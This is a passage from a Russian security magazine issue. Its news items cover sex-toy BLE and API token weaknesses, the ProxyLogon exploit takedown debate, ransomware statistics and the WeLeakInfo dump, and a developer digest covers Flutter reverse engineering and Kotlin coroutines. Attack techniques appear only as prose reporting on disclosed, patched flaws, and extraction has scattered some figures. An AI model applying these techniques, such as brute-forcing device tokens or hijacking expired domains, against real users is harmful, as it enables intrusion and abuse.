умыш ленни ков, жела ющих ата ковать подоб ные девай сы.

Так, боль шинс тво умных устрой ств име ют два основных канала свя зи. Связь
меж ду  поль зовате лем  смар тфо на  и  самим  устрой ством  осу щест вля ется
через Bluetooth Low Energy (BLE), ког да поль зователь запус кает при ложе ние
секс‐игрушки.  Тог да  как  связь  меж ду  уда лен ным  сек суаль ным  пар тне ром
и при ложе нием, управля ющим устрой ством, уста нав лива ется через интернет.

Для  реали зации  этих  фун кций  умные  секс‐игрушки,  как  и  любое  дру гое
IoT‐устрой ство, исполь зуют API‐эндпой нты, обра баты вающие зап росы.

«В некото рых слу чаях эта облачная служ ба так же выс тупа ет в качес тве
пос редни ка  меж ду  пар тне рами,  исполь зующи ми  такие  фун кции,
как  чат,  виде окон ференц связь и  переда ча фай лов или даже пре дос- 
тавле ние  уда лен ного  управле ния  устрой ством  пар тне ру»,  —  гла сит
отчет.

При этом информа ция, обра баты ваемая секс‐игрушка ми, сос тоит из край не
кон фиден циаль ных  дан ных,  вклю чая  име на  людей,  их  сек суаль ную  ори ента‐ 
цию,  пол,  спи сок  сек суаль ных  пар тне ров,  лич ные  фотог рафии,  видео  и  так
далее.  Сло вом,  это  нас тоящий  кла дезь  дан ных  для  зло умыш ленни ков,  нап‐ 
ример занима ющих ся «сек суаль ным вымога тель ством» — sextortion  (тер мин
обра зован от слов sex — «секс» и extortion — «вымога тель ство»).

Ху же  того,  подоб ные  IoT‐устрой ства  могут  быть  ском про мети рова ны
и исполь зованы для вре донос ных дей ствий, вклю чая нанесе ние физичес кого
вре да  поль зовате лю.  Такое  может  про изой ти,  нап ример,  при  перег реве
секс‐игрушки.

«И  наконец,  что  про изой дет,  если  кто‑то  возь мет  под  кон троль
секс‑игрушку без сог ласия поль зовате ля, пока та исполь зует ся, и ста- 
нет посылать это му устрой ству раз личные коман ды? Счи тает ся ли ата- 
ка  на  секс‑устрой ство  сек суаль ным  насили ем  и  может  ли  подоб ное
при вес ти  к  обви нени ям  в  сек суаль ном  насилии?»  —  раз мышля ют
иссле дова тели.

Что бы про демонс три ровать опас ность подоб ных недос татков безопас ности,
иссле дова тели  про вели  собс твен ные  тес ты  секс‐игру шек  Max  от  Lovense
и  We‐Vibe  Jive.  Быс тро  выяс нилось,  что  оба  гад жета  исполь зуют  наиме нее
безопас ный метод соеди нения Bluetooth — Just Works.

Ис поль зуя фрей мворк BtleJuice и два BLE‐дон гла,  экспер ты сумели про‐ 
демонс три ровать,  как  зло умыш ленник  может  осу щес твить  ата ку  типа  man
in  the  middle,  зах ватить  кон троль  над  устрой ством  и  перех ватить  пакеты.
Затем  хакер  может  рет ран сли ровать  модифи циро ван ные  пакеты,  пред‐ 
варитель но  изме нив  нас трой ки,  вклю чая,  к  при меру,  режим  виб рации
и интенсив ность или даже внед рив собс твен ные коман ды.

Ху же  того,  ока залось,  что  эндпой нты  API,  исполь зуемые  для  соеди нения
уда лен ного  пар тне ра  с  поль зовате лем,  при меня ют  токен,  который  мож но
подоб рать с помощью прос того брут форса.

«Спи сок опций при ложе ния Lovense для уда лен ного управле ния вклю- 
чает  в  себя  воз можность  соз дания  URL-адре сов  в  фор мате
https://api2.lovense.com/c/,  где  исполь зует ся  ком бинация  из  четырех
бук венно‑циф ровых сим волов, — гла сит отчет. — Это поз воля ет поль- 
зовате лям  уда лен но  управлять  девай сами,  прос то  вво дя  такие  URL-
адре са в бра узер. Уди витель но, но сер вер не име ет никакой защиты
от брут форса, хотя здесь исполь зуют ся такие корот кие токены с отно- 
ситель но  неболь шим  количес твом  воз можных  ком бинаций
(1  679  616  воз можных  токенов  для  при ложе ния,  нас читыва юще го
более мил лиона заг рузок)».

Так же у устрой ств отсутс тву ют сквоз ное шиф рование и при вяз ка сер тифика‐ 
тов, исполь зуемые при получе нии обновле ний про шив ки.

«Это  чрез вычай но  серь езная  уяз вимость,  пос коль ку  она  поз воля ет
зло умыш ленни ку  уда лен но  зах ватить  устрой ства  (без  сог ласия
или  ведома  поль зовате ля),  ожи дающие  под клю чения  с  помощью
активных токенов», — объ ясня ют спе циалис ты.

Еще  прош лым  летом  иссле дова тели  уве доми ли  раз работ чиков  WOW  Tech
Group  и  Lovense  о  проб лемах,  которые  им  уда лось  обна ружить.  Уже
в августе 2020 года выш ла вер сия 4.4.1 при ложе ния WOW Tech We‐Connect,
которая  содер жала  исправ ления  для  обна ружен ных  уяз вимос тей,  а  так же
проб лемы были устра нены и в при ложе нии Lovense с релизом вер сии 3.8.6.

«Зачас тую  мобиль ные  при ложе ния,  подоб ные  при ложе ниям
для  управле ния  секс‑игрушка ми,  обра баты вают  очень  цен ную
информа цию  о  сво их  поль зовате лях.  Край не  зна чимо,  что бы  раз- 
работ чики понима ли, как важ но тра тить вре мя и уси лия на раз работ ку
и  соз дание  безопас ных  сис тем,  не  под дава ясь  дав лению  рын ка,
который ста вит ско рость выше безопас ности», — резюми руют авто ры
иссле дова ния.

 ГОДА ТЮРЬМЫ ДЛЯ ВЗЛОМЩИКА TWITTER3

В прош лом  году  17‐лет ний  Грэм Айвен  Кларк  aka  Kirk  взло мал  ком панию  Twitter.  Взлом  кос‐ 
нулся   акка унтов пуб личных людей, ком паний, крип товалют ных бирж, а для   из них были
успешно сбро шены пароли. Вско ре пос ле ата ки Кларк был арес тован.
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В этом месяце Кларк сог ласил ся пой ти на сдел ку и приз нал себя винов ным по нес коль ким пун‐ 
ктам  обви нения  (вклю чая  мошен ничес тво  с  исполь зовани ем  средств  свя зи,  мошен ничес кое
исполь зование лич ных дан ных и неп равомоч ный дос туп к компь юте ру).

Те перь он про ведет в тюрь ме  , а затем еще   будет находить ся на испы татель ном
сро ке, под наб людени ем.   — это мак симум, раз решен ный закона ми шта та для несовер‐ 
шенно лет них пра вона руши телей.

3 года 3 года
6 лет

Продолжение статьи →
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ПРИНУДИТЕЛЬНЫЙ
HTTPS
На про тяже нии мно гих лет инже неры Google были одни ми из наибо лее ярых
сто рон ников повыше ния безопас ности бра узе ров, наряду с раз работ чиками
Firefox и Tor.

Уже  дав но  одним  из  клю чевых  воп росов,  инте ресу ющих  раз работ чиков
Chrome, явля ется прод вижение исполь зования HTTPS как внут ри бра узе ров,
так и сре ди вла дель цев сай тов. Оче ред ным шагом на пути к пов семес тно му
HTTPS ста ло то, что с недав них пор Chrome авто мати чес ки пыта ется перей ти
с HTTP на HTTPS,  если HTTPS дос тупен.  Так же бра узер бло киру ет  заг рузки
из HTTP‐источни ков (даже если в URL стра ницы сто ит пре фикс HTTPS), что бы
поль зовате ли не счи тали, буд то их заг рузка защище на, если на самом деле
это не так.

Хо тя  око ло  82% всех  сай тов  уже  работа ют  на HTTPS,  переход  на HTTPS
в  гло баль ном смыс ле еще нель зя  счи тать  завер шенным. Поэто му  в Chrome
90,  выпуск  которо го  зап ланиро ван  на  середи ну  апре ля  текуще го  года,
появит ся новая фун кция.

Из менение  пов лияет  на  омни бокс  Chrome  (так  в  Google  называ ют
адресную  стро ку  бра узе ра).  В  текущих  вер сиях,  ког да  поль зователь  вво дит
в  омни бокс  ссыл ку,  Chrome  заг ружа ет  вве ден ную  ссыл ку  незави симо
от исполь зован ного про токо ла. Сей час, если поль зователь забудет написать
HTTP  или  HTTPS,  Chrome  авто мати чес ки  добавит  перед  тек стом  «http://»
и  попыта ется  заг рузить  сайт.  К  при меру,  domain.com  прев ратит ся
в http://domain.com.

С  релизом  Chrome  90  это  изме нит ся.  Начиная  с  этой  вер сии  омни бокс
будет  заг ружать  все  домены  через HTTPS,  авто мати чес ки  под став ляя  соот‐ 
ветс тву ющий пре фикс «https://».

«В нас тоящее вре мя пла ниру ется запус тить [эту фун кцию] в качес тве
экспе римен та  для  неболь шого  про цен та  поль зовате лей  в  Chrome
89 и пол ноцен но внед рить ее в Chrome 90, если все пой дет по пла- 
ну», — рас ска зыва ет  инже нер по безопас ности Chrome Эми ли Старк
(Emily Stark).

Уже  сей час  поль зовате ли  могут  про тес тировать  новый  механизм  в  Chrome
Canary. Для это го нуж но вклю чить фун кцию в chrome://flags/#omnibox‐default‐
typed‐navigations‐to‐https.

ШИФРОВАЛЬЩИКИ АТАКУЮТ
Ана лити ки Group‐IB про вели мас штаб ное иссле дова ние, пос вящен ное шиф роваль щикам. Ком‐ 
пания  сооб щает,  что  в  прош лом  году  количес тво  атак  шиф роваль щиков  вырос ло  более  чем
на   по срав нению с пре дыду щим годом.150%

Шиф роваль щики фак тичес ки ста ли угро зой номер один как для биз неса,  так и для  государс‐ 
твен ных орга нов: чис ло успешных атак в прош лом году вырос ло более чем на  , а сред ний
раз мер сум мы выкупа уве личил ся более чем в два раза и сос тавил  .

150%
170 000 дол ларов

Са мыми жад ными вымога теля ми ока зались груп пы  ,   и   —
сум мы  выкупа,  которые  они  тре бова ли  от  жертв,  сос тавля ли  в  сред нем

 дол ларов.

Maze DoppelPaymer RagnarLocker

от 1 000 000 до 2 000 000

Глав ным век тором атак для боль шинс тва оста ются пуб личные RDP‐сер веры ( ). На вто ром
мес те — фишинг ( ), затем экс плу ата ция обще дос тупных при ложе ний ( ).

52%
29% 17%

Преж де  чем  зашиф ровать  дан ные,  опе рато ры  вымога телей  про води ли  в  сред нем 
в ском про мети рован ной сети, ста раясь пред варитель но най ти и уда лить все дос тупные резер‐ 
вные копии.

13  дней

Боль шинс тво атак про изош ли в   и  , где рас положе но боль шинс тво
ком паний из спис ка Fortune 500, а так же в   и 

.

Се вер ной Аме рике Ев ропе
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ском реги оне

Еще  одна  тен денция  2020  года  —  кол лабора ции  меж ду  раз ными  прес тупны ми  груп пами.
В прош лом году в андегра унде появи лось   новых пуб личных пар тнерских прог рамм‐вымога‐ 
телей.  Прес тупные  груп пы,  исполь зующие  мал варь  ,    и  ,  все  чаще
помога ют опе рато рам мал вари получать пер воначаль ный дос туп к кор поратив ным сетям.
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GITHUB И ЭКСПЛОИТ
ДЛЯ PROXYLOGON
Не зави симый ИБ‐иссле дова тель из Вьет нама опуб ликовал на GitHub пер вый
нас тоящий PoC‐экс пло ит для серь езно го ком плек са уяз вимос тей ProxyLogon,
недав но обна ружен ных в Microsoft Exchange. Об этих проб лемах Exchange мы
под робно  рас ска зыва ли  в  ,  а  сей час  речь  пой дет
о стран ной ситу ации, сло жив шей ся вок руг экс пло ита.

от дель ном  матери але

Ра ботос пособ ность дан ного инс тру мен та под твер дили извес тные экспер‐ 
ты, вклю чая Мар куса Хат чинса из Kryptos Logic, Дэни ела Кар да из PwnDefend
и Джо на Уэтин гто на из Condition Black.

При этом мно гие отме чали, что пуб личный релиз PoC‐экс пло ита сей час —
это край не сом нитель ный шаг. К при меру, сов сем недав но ком панию Praeto‐
rian под вер гли жес ткой кри тике за куда мень ший «прос тупок»: ее спе циалис‐ 
ты  лишь обна родо вали  под робный обзор  уяз вимос тей ProxyLogin,  хотя  воз‐ 
держа лась от выпус ка собс твен ного экс пло ита.

Де ло в том, что в мар те по мень шей мере десять хак‐групп экс плу ати рова‐ 
ли ошиб ки ProxyLogon для уста нов ки бэк доров, май неров, шиф роваль щиков
на сер веры Exchange по все му миру. По раз ным оцен кам, количес тво пос тра‐ 
дав ших  ком паний  и  орга низа ций  уже  дос тигло  30  000–100  000,  и  их  чис ло
пос тоян но про дол жает рас ти, рав но как и количес тво ата кующих.

Учи тывая  всю  серь езность  ситу ации,  уже  через  нес коль ко  часов  пос ле
пуб ликации  экс пло ита  тот  был  уда лен  с  GitHub  адми нис тра цией  сер виса.
Из‐за это го некото рые учас тни ки ИБ‐сооб щес тва приш ли в ярость и немед‐ 
ленно  обви нили  Microsoft  в  цен зуре  кон тента,  пред став ляюще го  огромный
инте рес для спе циалис тов по безопас ности со все го мира.

Так, мно гие иссле дова тели  говорят,  что GitHub при дер жива ется двой ных
стан дартов,  которые  поз воля ют  ком пании  исполь зовать  PoC‐экс пло иты
для исправ ления уяз вимос тей, вли яющих на ПО дру гих ком паний, но при этом
ана логич ные PoC для про дук тов Microsoft уда ляют ся.

«Ух  ты.  У  меня  нет  слов.  Microsoft  дей стви тель но  уда лила  PoC-код
с  GitHub.  Это  чудовищ но,  уда лить  с  GitHub  код  ИБ‑иссле дова теля,
нап равлен ный на их собс твен ный про дукт, который уже получил пат- 
чи»,  —  пишет  в  Twitter  Дэйв  Кен неди,  осно ватель  ком пании
TrustedSec.

В той же соци аль ной сети эксперт Google Project Zero Тэвис Орманди спо рит
с  извес тным  ИБ‐экспер том  Мар кусом  Хат чинсом.  Пос ледний  говорит,  что
не сов сем понима ет,  какую поль зу мог ла при нес ти  хоть  кому‐то пуб ликация
работа юще го RCE‐экс пло ита, на что Орманди отве чает:

«Есть  ли  поль за  от  Metasploit,  или  бук валь но  все,  кто  его  исполь- 
зуют  —  скрип ткид ди?  К  сожале нию,  невоз можно  поделить ся  иссле- 
дова ниями  и  инс тру мен тами  с  про фес сиона лами,  не  поделив шись
ими еще и со зло умыш ленни ками, но мно гие люди (нап ример, я) счи- 
тают, что пре иму щес тва переве шива ют рис ки».

В свою оче редь Хат чинс пишет, что аргу мент об уже исправ ленных уяз вимос‐ 
тях несос тояте лен, так как око ло 50 тысяч сер веров по все му миру по‐преж‐ 
нему уяз вимы.

«„Уже выш ли пат чи“. Чувак, есть более 50 тысяч неп ропат ченных сер- 
веров Exchange. Выпуск пол ностью готовой к работе цепоч ки RCE —
это не иссле дова ние безопас ности, это без рассудс тво и глу пость.

Я и рань ше видел, как GitHub уда ляет вре донос ный код, и не толь- 
ко код, нацелен ный на про дук ты Microsoft. Очень сом нева юсь, что MS
сыг рала  какую‑то  роль  в  этом  уда лении,  [экс пло ит]  прос то  нарушал
полити ку GitHub в отно шении активно го вре донос ного ПО или экс пло- 
итов, ведь он появил ся сов сем недав но, а над огромным количес твом
сер веров навис ла угро за атак вымога телей», — зак люча ет Хат чинс.

Пред ста вите ли  GitHub  сооб щили  СМИ,  что  экс пло ит,  конеч но,  имел  обра‐ 
зова тель ную  и  иссле дова тель скую  цен ность  для  сооб щес тва,  одна ко  ком‐ 
пания  вынуж дена  под держи вать  баланс  и  пом нить  о  необ ходимос ти  сох‐ 
ранения безопас ности более широкой эко сис темы. Поэто му, в соот ветс твии
с  пра вила ми  сер виса,  экс пло ит  для  недав но  обна ружен ной  уяз вимос ти,
которая  пря мо  сей час  активно  исполь зует ся  для  атак,  все  же  был  уда лен
из откры того дос тупа.

 ДОЛЛАРОВ ЗА ВАКЦИНУ500

Изу чив    тор говых пло щадок  в дар кне те,  ана лити ки  «Лабора тории Кас пер ско го»  наш ли объ‐ 
явле ния о про даже    запатен тован ных вак цин от  корона виру са — Pfizer/BioNTech, As‐
traZeneca и Moderna, а так же некото рых еще не запатен тован ных. Цена за одну дозу варь иру‐ 
ется от   до   дол ларов США, в сред нем — око ло   дол ларов.
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Оп лата  за  вак цины  в  основном  тре бует ся  в  бит кой нах.  Судя  по  ана лизу  тран закций,  мно гие
авто ры таких объ явле ний про вели от   до   опе раций.100 500

СЛИВ WELEAKINFO
В  начале  2020  года  сов мес тная  опе рация ФБР,  а  так же  пра воох раните лей
из Север ной Ирландии, Нидер ландов, Гер мании и Великоб ритании при вела
к  изъ ятию  домена  сай та  WeLeakInfo.com.  Более  трех  лет  этот  сер вис  про‐ 
давал  дос туп  к  дан ным  более  чем  12,5  мил лиар да  учет ных  записей,  соб‐ 
ранных из 10 тысяч раз личных уте чек. Фак тичес ки за пла ту сайт пре дос тавлял
дос туп к паролям людей откры тым тек стом. При этом сам дос туп сто ил все‐ 
го 2 дол лара в день (7 дол ларов в неделю или 24 дол лара в месяц).

На чер ном рын ке ресурс был известен и поль зовал ся популяр ностью. Так,
хакеры покупа ли дос туп к WeLeakInfo, а затем иска ли в его нед рах имя, email‐
адрес или имя поль зовате ля, которо го хотели взло мать. В ответ на такие зап‐ 
росы  сайт  воз вра щал  все  свя зан ные  с  этим  поль зовате лем  дан ные,  ранее
утек шие  из  раз личных  источни ков,  вклю чая  пароли,  если  те  были  дос тупны.
Зло умыш ленни ки  исполь зовали  эти  пароли,  пыта ясь  авто ризо вать ся  с  их
помощью в раз личных про филях поль зовате ля (наде ясь, что жер тва пов торно
исполь зовала оди нако вые пароли на раз ных сай тах).

Те перь изда ние Bleeping Computer сооб щило, что на извес тном хакер ском
ресур се RaidForums был опуб ликован дамп с дан ными быв ших кли ентов We‐
LeakInfo,  которые  были  получе ны  бла года ря  ком про мета ции  Stripe‐акка унта
ныне не сущес тву юще го сер виса.

Об народо вав ший дамп поль зователь пишет, что он получил дос туп к дан‐ 
ным уже пос ле лик видации сер виса и арес та его опе рато ров. Дело в том, что,
ког да пыль улег лась, ФБР не прод лило домен wli.design, который вла дель цы
WeLeakInfo  исполь зовали  для  получе ния  элек трон ных  писем  от  пла теж ного
сер виса Stripe.

«Мне уда лось зарегис три ровать этот домен, а затем сбро сить пароль
для их учет ной записи в Stripe, что дало мне пол ный дос туп ко всей
информа ции  о  кли ентах  [WeLeakInfo],  которые  пла тили  через
Stripe», — объ ясня ет хакер.

Ком пания  Cyble  подели лась  с  жур налис тами  Bleeping  Computer  образца ми
дан ных  из  дам па  и  сооб щила,  что  в  общей  слож ности  утеч ке  под вер глась
информа ция  при мер но  10  тысяч  уни каль ных  кли ентов  сер виса.  Так,  в  рас‐ 
поряже нии изда ния ока зались скрин шоты Stripe‐акка унта WeLeakInfo, инвой‐ 
сы, информа ция об успешных пла тежах, спис ки кли ентов и мно гое дру гое.

Дамп вклю чает в себя лич ные и кор поратив ные дан ные (услу гами WeLeak‐
Info поль зовались не толь ко час тные лица, но и ком пании), в том чис ле адре‐ 
са  элек трон ной  поч ты,  име на,  адре са  для  выс тавле ния  сче тов,  пос ледние
четыре циф ры и даты исте чения сро ка дей ствия бан ков ских карт,  IP‐адре са,
исто рия заказов и номера телефо нов.

Опи раясь на эту информа цию, иссле дова тели под счи тали, что на 1 янва‐ 
ря  2019  года WeLeakInfo  осу щес тви ла  око ло  24  тысяч  пла тежей,  зарабо тав
более 92 тысяч фун тов стер лингов.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
До мен Perl.com был зах вачен с помощью соци аль ной инже нерии

Но вая вер сия джей лбрей ка Unc0ver под держи вает iOS от вер сии 11.0 до 14.3

Джо ну Макафи предъ явле ны обви нения в мошен ничес тве и отмы вании денег

Ха керы получи ли дос туп к камерам наб людения в Tesla, Cloudflare, бан ках и не толь ко

Пра воох раните ли взло мали плат форму Sky ECC, которую прес тупни ки исполь зовали для обме‐ 
на сооб щени ями

Спец служ бы час то забыва ют уда лить кон фиден циаль ные дан ные из PDF‐докумен тов

Ха керы тоже заин тересо вались NFT и взла мыва ют поль зовате лей Nifty Gateway

Ис поль зование DTLS поз воля ет уси лить DDoS в 37 раз

В изоб ражени ях Twitter мож но спря тать до 3 Мбайт дан ных, нап ример ZIP или MP3

Эк спер ты Google рас ска зали о хак‐груп пе, исполь зовав шей 11 багов нулево го дня в 2020 году

https://xakep.ru/2021/03/26/proxylogon-howto/
https://xakep.ru/2021/03/03/perlcom-lives/
https://xakep.ru/2021/03/03/unc0ver-6-0-0/
https://xakep.ru/2021/03/09/mcafee-indicts/
https://xakep.ru/2021/03/10/verkada-superadmin/
https://xakep.ru/2021/03/10/sky-ecc/
https://xakep.ru/2021/03/15/hidden-data-in-pdf-files/
https://xakep.ru/2021/03/16/nifty-gateway/
https://xakep.ru/2021/03/18/dtls-ddos/
https://xakep.ru/2021/03/18/twitter-steganography/
https://xakep.ru/2021/03/19/11-0days/
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Се год ня  в  выпус ке:  реверс‐инжи ниринг
Flutter‐при ложе ния,  под борка  полез ных
фун кций‐рас ширений  на  Kotlin,  две  статьи
об  ошиб ках  исполь зования  корутин  и  Flow
в  Kotlin,  замет ка  об  авто мати чес ки  уста‐ 
рева ющих ком мента риях, а так же под борка
из  один надца ти  must  have  биб лиотек
и десяток новых биб лиотек.

ПОЧИТАТЬ

Реверс-инжиниринг Flutter-приложения
  —  статья

о  реверс‐инжи нирин ге  при ложе ний,  написан ных  с  исполь зовани ем  фрей‐ 
мвор ка Flutter.

Reverse  Engineering  a  Flutter  app  by  recompiling  Flutter  Engine

Flutter  —  это  кросс‐плат формен ный  инс тру мент,  пред назна чен ный
для  соз дания  быс трых  при ложе ний  на  язы ке  Dart  с  исполь зовани ем  реак‐ 
тивно го  UI‐фрей мвор ка.  Написан ные  с  помощью  Flutter  при ложе ния  могут
работать  на Android,  iOS,  дес кто пе  и  вебе. При  этом интерфейс будет  пол‐ 
ностью иден тичен на всех плат формах.

Глав ная  осо бен ность,  отли чающая  Flutter  от  фрей мвор ка,  пре дос тавля‐ 
емо го Android, в том, что код все го при ложе ния, вмес то набора из байт‐кода
и  ресур сов,  ком пилиру ется  в  еди ную  натив ную  биб лиоте ку,  разоб рать ся
в струк туре которой дос таточ но слож но. К тому же фор мат дан ных в этой биб‐ 
лиоте ке пос тоян но меня ется, что еще силь нее запуты вает ревер сера.

Биб лиоте ка, содер жащая код при ложе ния, называ ется  . При чем
это не прос то код и дан ные при ложе ния, а так называ емый  , пред‐ 
став ляющий  собой  сни мок  сос тояния  вир туаль ной  машины  Dart
перед  переда чей  управле ния  на  точ ку  вхо да  при ложе ния  (фун кция  main),
плюс ском пилиро ван ный с помощью AOT‐ком пилято ра код всех клас сов при‐ 
ложе ния.

libapp.so
snapshot

Раз бирать код биб лиоте ки   клас сичес ким спо собом (запус каем
IDA Pro и начина ем иссле довать) бес полез но. Да, это натив ный код, но фор‐ 
мат самого фай ла в кор не отли чает ся от обыч ных биб лиотек.

libapp.so

Один  из  методов  ана лиза  сос тоит  в  том,  что бы  про пар сить  заголо вок
снап шота, най ти в нем ссыл ки на все объ екты типа   (они как раз и хра нят
натив ный  код  методов),  а  затем  дизас сем бли ровать  находя щиеся  по  этим
адре сам  инс трук ции.  В  этом  поможет  инс тру мент  .  Он  выведет
на  экран  все  име ющиеся  в  коде  клас сы  и  ука жет,  по  каким  адре сам  рас‐ 
полага ется код методов.

Code

Doldrums

Проб лема это го под хода в том, что фор мат снап шота меня ется от вер сии
к  вер сии.  Тот  же  Doldrums  отлично  работа ет  для  при ложе ний,  соб ранных
с помощью Flutter 2.5, но не работа ет для более поз дних вер сий.

Уни вер саль ный под ход к ана лизу зак люча ется в том, что бы модифи циро‐ 
вать сам фрей мворк Flutter, рас полага ющий ся в биб лиоте ке 
рядом с  . Для это го необ ходимо взять исходни ки фрей мвор ка той
же  вер сии,  добавить  в  них  код  для  печати  всех  нуж ных  нам  дан ных  (име на
клас сов, методов и адре са их кода), а затем соб рать его и заменить им ори‐ 
гиналь ный фрей мворк в пакете при ложе ния.

libflutter.so
libapp.so

В  час тнос ти,  мож но  внес ти  исправ ления  в  метод 
  в  фай ле 

, что бы зас тавить его рас печатать таб лицу клас сов.
Так же мож но изме нить метод   в фай ле 

 для печати более под робной информа ции.

Deserializer::Read‐
ProgramSnapshot(ObjectStore*  object_store) runtime/vm/
clustered_snapshot.cc

void ClassTable::Print() runtime/
vm/class_table.cc

В  статье  при веде но  еще  нес коль ко  деталей,  как  это  сде лать  пра виль но,
но нет готовых фай лов. Так что в дан ный момент реверс‐инжи ниринг Flutter‐
при ложе ний  —  дело  неб лагодар ное  и  дос таточ но  слож ное.  До  появ ления
пол ноцен ных инс тру мен тов еще год‐дру гой.

При мер печати клас сов с помощью Doldrums

РАЗРАБОТЧИКУ

Четыре ошибки при использовании корутин и Flow

 — статья о  типич ных ошиб ках,  которые допус кают прог‐ 
раммис ты при работе с корути нами.

Misnomers,  Mistakes  and  Misunderstandings  to  watch  for  when  learning  Kotlin
Coroutines and Flow

1.    Мно гие
прог раммис ты  исполь зуют  Flow  как  уни вер саль ный  инс тру мент
для переда чи зна чений даже в тех слу чаях, ког да в нем нет никако го смыс‐ 
ла.

Ис поль зование  Flow  вмес то  обыч ной  suspend-фун кции.

Пред ста вим себе такую фун кцию:

   fun getAccountInfo(): Flow<Response<Account>>

По  фак ту  она  воз вра щает  толь ко  одно  зна чение  и  Flow  здесь  не  нужен.
Логич нее было бы прев ратить эту фун кцию в обыч ную suspend‐фун кцию:

     suspend fun getAccountInfo(): Response<Account>

2.    Suspend‐фун кции
были  задума ны,  что бы  заменить  кол бэки,  поэто му  соз давать  фун кции
с кол бэками в качес тве парамет ров — боль шая ошиб ка.

Suspend-фун кции  с  парамет рами‑кол бэками.

Возь мем, к при меру, сле дующую фун кцию:

   suspend fun download(
      url: String,
          onSuccess: (String) ‐> Unit,
          onError: (Throwable) ‐> Unit
)

Как  в  дан ном  слу чае  изба вить ся  от  кол бэков,  но  оста вить  воз можность
воз вра тить  два  раз ных  типа  зна чений?  Для  это го  мож но  исполь зовать
sealed‐клас сы:

     suspend fun download(url:String): Result

     sealed class Result {
          data class Success(val data:String): Result()
          data class Error(val error:Throwable): Result()
}

3.   Активнос ти, фраг менты, ViewModel, View
и дру гие стан дар тные клас сы име ют фун кции‐рас ширения, которые мож но
исполь зовать  для  запус ка  корутин.  Не  сто ит  исполь зовать  GlobalScope,
который может при вес ти к утеч кам корутин.

Ис поль зование GlobalScope.

4.    Корути ны  устро ены  так,  что  их
очень лег ко и прос то мож но перек лючить на дру гой поток с помощью сме‐ 
ны дис петче ра:

Не нуж ное  перек лючение  потоков.

with(Dispatchers.IO){
    ...
}

Од нако  сто ит  нес коль ко  раз  подумать  перед  тем,  как  исполь зовать  эту
воз можность.  Во‐пер вых,  это  усложня ет  юнит‐тес тирова ние.  Во‐вто рых,
мно гие  фрей мвор ки  и  биб лиоте ки  уме ют  самос тоятель но  перек лючать
исполне ние меж ду  потока ми,  так  что  руч ное  перек лючение,  кро ме  овер‐ 
хеда, ничего не даст.

Советы по использованию корутин
  —  советы  Google,  как  исполь зовать

корути ны.
Best  practices  for  coroutines  in  Android

1.   Бла года ря это му юнит‐тес‐ 
тирова ние ста нет нам ного более удоб ным.
Внед ряй дис петче ры как зависи мос ти.

 class NewsRepository(
              private val defaultDispatcher: CoroutineDispatcher =
Dispatchers.Default
 ) {

                
 

suspend fun loadNews() = withContext(defaultDispatcher) { /
* ... */ }
}

2. 
  Если  suspend‐фун кция  дела ет  слож ную  ресур‐ 

соем кую  работу,  она  дол жна  сама  позабо тить ся  о  перек лючении  дис‐ 
петче ра. Дру гими сло вами, за переме щение работы в фоновый поток дол‐ 
жна отве чать сама suspend‐фун кция, а не код, который ее вызыва ет.

Suspend-фун кции дол жны быть безопас ными для вызова из UI-

потока  при ложе ния.

3.    Вмес то  того  что бы
выс тавлять  наружу  suspend‐фун кции,  ViewModel  дол жна  сама  порож дать
корути ны из обыч ных фун кций. Такой под ход упро щает тес тирова ние и не
соз дает проб лем при пересоз дании активнос ти.

ViewModel  дол жна  соз давать  корути ны  сама.

 class LatestNewsViewModel(
          private val getLatestNewsWithAuthors:
GetLatestNewsWithAuthorsUseCase
     ) : ViewModel() {

            private val _uiState = MutableStateFlow<LatestNewsUiState>(
LatestNewsUiState.Loading)
            val uiState: StateFlow<LatestNewsUiState> = _uiState

        fun loadNews() {
         viewModelScope.launch {

                 val latestNewsWithAuthors = getLatestNewsWithAuthors()
               _uiState.value = LatestNewsUiState.Success(

latestNewsWithAuthors)
        }
    }
}

4. 
Это стан дар тный при мер гра мот ного ООП‐про екти рова ния, который поз‐ 
волит сде лать соп ровож дение кода более прос тым.

Не  сле дует  выс тавлять  наружу  изме няемые  типы  дан ных.

       class LatestNewsViewModel : ViewModel() {
          val _uiState = MutableStateFlow(LatestNewsUiState.Loading)
            val uiState: StateFlow<LatestNewsUiState> = _uiState
    /* ... */
}

5. 
  Сле дова ние  это му  прин ципу  поз волит  пра‐ 

виль но  управлять  жиз ненным  цик лом  при ложе ния,  ког да  жизнью  корутин
управля ет ViewModel, а не клас сы уров ня биз нес‐логики.

Уров ни дан ных и биз нес‑логики дол жны быть дос тупны через
suspend-фун кции и Flow.

   class ExampleRepository {
              suspend fun makeNetworkRequest() { /* ... */ }
              fun getExamples(): Flow<Example> { /* ... */ }
}

6.    Сле дова ние  пер вому  пра вилу
поз волит  исполь зовать  в  тес тах  дис петчер  TestCoroutineDispatcher,
который  выпол няет  работу  сра зу,  поз воляя  луч ше  кон тро лиро вать
исполне ние кода.

Ис поль зуй  TestCoroutineDispatcher.

7.    GlobalScope  при водит  к  утеч‐ 
кам корутин, усложня ет тес тирова ние и отладку кода.
Из бегай исполь зования GlobalScope.

8.    Корути ны  пос тро ены  на  идее
коопе ратив ной  мно гоза дач ности.  Это  зна чит,  что  завер шение  корути ны
через    не  про исхо дит  сра зу.  Корути на  дол жна  сама  про верить
свой ста тус и завер шить работу в слу чае необ ходимос ти. В боль шинс тве
слу чаев  делать  для  это го  ничего  не  нуж но,  так  как  все  suspend‐фун кции
из  пакета    ( ,  )  уме ют  сами  про‐ 
верять  свой  ста тус  и  реаги ровать  на  сиг нал  завер шения.  Но  иног да
все‐таки при ходит ся делать эту работу самому:

Ко рути ны  дол жны  лег ко  уби вать ся.

cancel()

kotlinx.coroutines withContext delay

 someScope.launch {
          for(file in files) {

         ensureActive() // Проверка флага завершения
        readFile(file)
    }
}

9.   Исклю чения луч ше перех ватывать в теле
корути ны:
Не забывай об исклю чени ях.

 class LoginViewModel(
          private val loginRepository: LoginRepository
     ) : ViewModel() {

              fun login(username: String, token: String) {
         viewModelScope.launch {

             try {
                 loginRepository.login(username, token)

                // Notify view user logged in successfully
                   } catch (error: Throwable) {

                // Notify view login attempt failed
            }
        }
    }
}

Автоматически устаревающие комментарии
  —  корот кая,  но  полез ная  замет ка  о  том,

как писать ком мента рии, по которым будет сра зу понят но, уста рел ком мента‐ 
рий или нет.

Write  self‐deprecating  comments

Трюк  сос тоит  в  том,  что бы помес тить  зна чение,  которое опи сыва ет  ком‐ 
мента рий, в сам ком мента рий:

